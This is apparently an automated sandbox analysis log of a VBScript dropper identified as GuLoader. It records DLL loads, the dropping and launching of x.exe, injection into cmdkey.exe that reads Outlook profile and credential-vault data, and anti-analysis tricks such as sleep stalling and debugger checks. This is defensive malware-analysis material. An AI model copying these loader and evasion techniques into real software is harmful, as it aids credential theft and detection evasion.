Source: C:\Windows\System32\wscript.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: susen.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: susen.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Windows\SysWOW64\cmdkey.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

VBScript performs obfuscated calls to suspicious functions

Source: #U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs

Static file information: File size 1168335 > 1048576

Source:

Binary string: wntdll.pdb source: x.exe, cmdkey.exe

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("C:\Users\user\AppData\Local\Temp\x.exe", "1", "true");

Yara detected GuLoader

Source: Yara match	File source: 00000003.00000002.136219856391.000000000258E000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.136009104486.00000000038BE000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 2_2_73AD2288 GlobalFree,lstrcpyA,GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

2_2_73AD2288

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345008CD push ecx; mov dword ptr [esp], ecx	3_2_345008D6
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Code function: 4_2_0357EA6D push ebp; iretd	4_2_0357EB30
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Code function: 4_2_0358C2D4 push eax; ret	4_2_0358C2EF
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Code function: 4_2_03596138 push ss; ret	4_2_03596139
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Code function: 4_2_03592079 push 0000002Dh; ret	4_2_0359208B
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Code function: 4_2_0358D0AE push edx; retf	4_2_0358D0B7
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Code function: 4_2_0357C617 push ecx; ret	4_2_0357C618
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Code function: 4_2_0357FD17 push FFFFFF9Ch; ret	4_2_0357FD19
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe	Code function: 4_2_03584CCD push ss; ret	4_2_03584CEE
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_033E21AD pushad ; retf 0004h	5_2_033E223F
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_033EE074 pushfd ; retf	5_2_033EE075
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_033EE060 push eax; retf 0008h	5_2_033EE06D
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_033E97A1 push es; iretd	5_2_033E97A8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_034108CD push ecx; mov dword ptr [esp], ecx	5_2_034108D6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A351EA push FFFFFF9Ch; ret	5_2_00A351EC
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A4F140 push edi; iretd	5_2_00A4F148
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A42581 push edx; retf	5_2_00A4258A
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A4754C push 0000002Dh; ret	5_2_00A4755E
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A4B60B push ss; ret	5_2_00A4B60C
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A417A7 push eax; ret	5_2_00A417C2
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A50843 push esp; iretd	5_2_00A5086F
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A31AEA push ecx; ret	5_2_00A31AEB
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A49E4A push esi; ret	5_2_00A49E5B
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A49E50 push esi; ret	5_2_00A49E5B
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A33F40 push ebp; iretd	5_2_00A34003
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03336245 push ecx; iretd	5_2_0333627D
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0333F10A push 096B400Eh; ret	5_2_0333F117
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_033361F9 push ecx; iretd	5_2_0333627D
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_0333562C push ss; retf	5_2_03335636
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03337585 push sp; ret	5_2_03337589
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_03336438 push ebp; retf	5_2_0333643B

Source: C:\Users\user\AppData\Local\Temp\x.exe	File created: C:\Users\user\AppData\Local\Temp\nsb9D0E.tmp\System.dll			Jump to dropped file
Source: C:\Windows\System32\wscript.exe	File created: C:\Users\user\AppData\Local\Temp\x.exe			Jump to dropped file

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Users\user\AppData\Local\Temp\x.exe

Stalling execution: Execution stalls by calling Sleep

graph_2-3041

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\x.exe	API/Special instruction interceptor: Address: 3F7BCFD
Source: C:\Users\user\AppData\Local\Temp\x.exe	API/Special instruction interceptor: Address: 2C4BCFD
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFFD506D144
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFFD506D604
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFFD506D764
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFFD506D324
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFFD506D364
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFFD506D004
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFFD506FF74
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFFD506D864

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 3_2_34541763 rdtsc

3_2_34541763

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\SysWOW64\cmdkey.exe

Window / User API: threadDelayed 8944

Source: C:\Users\user\AppData\Local\Temp\x.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsb9D0E.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\x.exe	API coverage: 0.2 %
Source: C:\Windows\SysWOW64\cmdkey.exe	API coverage: 3.2 %

Source: C:\Windows\SysWOW64\cmdkey.exe TID: 6336	Thread sleep count: 120 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe TID: 6336	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe TID: 6336	Thread sleep count: 8944 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe TID: 6336	Thread sleep time: -17888000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe TID: 5100	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe TID: 5100	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe TID: 5100	Thread sleep time: -57000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe TID: 5100	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe TID: 5100	Thread sleep time: -43000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\cmdkey.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmdkey.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 2_2_0040627E FindFirstFileA,FindClose,	2_2_0040627E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 2_2_004063BE GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	2_2_004063BE
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 5_2_00A4C710 FindFirstFileW,FindNextFileW,FindClose,	5_2_00A4C710

Source: wscript.exe, 00000000.00000003.135407958651.000001562EF21000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lEdgchX5LPqEmu69jse7zXbd1bDzwZ2Pmkbkd&&&btR1ZU9+X)737)m
Source: wscript.exe, 00000000.00000003.135421821173.000001562E91E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.135423382734.000001562E92C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.135421214491.000001562E913000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.135423330792.000001562E920000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lEdgchX5LPqEmu69jse7zXbd1bDzwZ2Pmkbkd&&&btR1ZU9+X)737)mW
Source: wscript.exe, 00000000.00000003.135436511679.000001562AF71000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.135452657654.000001562AFC1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.135435935423.000001562ECDC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.135452379056.000001562AFB9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.135444066039.000001562AF92000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.135439188967.000001562ECE3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.135436931344.000001562AF7C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.135436321211.000001562AF5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 7sWsnONCa;;sS..j&&&N..cAEGWAEdgchX5LPqEmu69jse7zXbd1bDzwZ2Pmkbkd&&&btR1ZU9+X

Source: C:\Users\user\AppData\Local\Temp\x.exe

API call chain: ExitProcess graph end node

graph_2-2627

Source: C:\Windows\SysWOW64\cmdkey.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\cmdkey.exe

Process queried: DebugPort

Benign windows process drops PE files

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 3_2_34541763 rdtsc

3_2_34541763

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 3_2_345434E0 NtCreateMutant,LdrInitializeThunk,

3_2_345434E0

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 2_2_73AD2288 GlobalFree,lstrcpyA,GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

2_2_73AD2288

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450D454 mov eax, dword ptr fs:[00000030h]	3_2_3450D454
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450D454 mov eax, dword ptr fs:[00000030h]	3_2_3450D454
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450D454 mov eax, dword ptr fs:[00000030h]	3_2_3450D454
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450D454 mov eax, dword ptr fs:[00000030h]	3_2_3450D454
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450D454 mov eax, dword ptr fs:[00000030h]	3_2_3450D454
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3450D454 mov eax, dword ptr fs:[00000030h]	3_2_3450D454
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452E45E mov eax, dword ptr fs:[00000030h]	3_2_3452E45E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452E45E mov eax, dword ptr fs:[00000030h]	3_2_3452E45E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452E45E mov eax, dword ptr fs:[00000030h]	3_2_3452E45E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452E45E mov eax, dword ptr fs:[00000030h]	3_2_3452E45E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452E45E mov eax, dword ptr fs:[00000030h]	3_2_3452E45E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510445 mov eax, dword ptr fs:[00000030h]	3_2_34510445
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510445 mov eax, dword ptr fs:[00000030h]	3_2_34510445
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510445 mov eax, dword ptr fs:[00000030h]	3_2_34510445
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510445 mov eax, dword ptr fs:[00000030h]	3_2_34510445
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510445 mov eax, dword ptr fs:[00000030h]	3_2_34510445
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34510445 mov eax, dword ptr fs:[00000030h]	3_2_34510445
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34508470 mov eax, dword ptr fs:[00000030h]	3_2_34508470
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34508470 mov eax, dword ptr fs:[00000030h]	3_2_34508470
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345BF478 mov eax, dword ptr fs:[00000030h]	3_2_345BF478
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345CA464 mov eax, dword ptr fs:[00000030h]	3_2_345CA464
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344F640D mov eax, dword ptr fs:[00000030h]	3_2_344F640D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345BF409 mov eax, dword ptr fs:[00000030h]	3_2_345BF409
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_344FB420 mov eax, dword ptr fs:[00000030h]	3_2_344FB420
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34537425 mov eax, dword ptr fs:[00000030h]	3_2_34537425
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_34537425 mov ecx, dword ptr fs:[00000030h]	3_2_34537425
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3458F42F mov eax, dword ptr fs:[00000030h]	3_2_3458F42F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3458F42F mov eax, dword ptr fs:[00000030h]	3_2_3458F42F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3458F42F mov eax, dword ptr fs:[00000030h]	3_2_3458F42F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3458F42F mov eax, dword ptr fs:[00000030h]	3_2_3458F42F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3458F42F mov eax, dword ptr fs:[00000030h]	3_2_3458F42F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452F4D0 mov eax, dword ptr fs:[00000030h]	3_2_3452F4D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452F4D0 mov eax, dword ptr fs:[00000030h]	3_2_3452F4D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452F4D0 mov eax, dword ptr fs:[00000030h]	3_2_3452F4D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452F4D0 mov eax, dword ptr fs:[00000030h]	3_2_3452F4D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452F4D0 mov eax, dword ptr fs:[00000030h]	3_2_3452F4D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452F4D0 mov eax, dword ptr fs:[00000030h]	3_2_3452F4D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452F4D0 mov eax, dword ptr fs:[00000030h]	3_2_3452F4D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452F4D0 mov eax, dword ptr fs:[00000030h]	3_2_3452F4D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_3452F4D0 mov eax, dword ptr fs:[00000030h]	3_2_3452F4D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345244D1 mov eax, dword ptr fs:[00000030h]	3_2_345244D1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345244D1 mov eax, dword ptr fs:[00000030h]	3_2_345244D1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345214C9 mov eax, dword ptr fs:[00000030h]	3_2_345214C9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345214C9 mov eax, dword ptr fs:[00000030h]	3_2_345214C9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345214C9 mov eax, dword ptr fs:[00000030h]	3_2_345214C9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_345214C9 mov eax, dword ptr fs:[00000030h]	3_2_345214C9
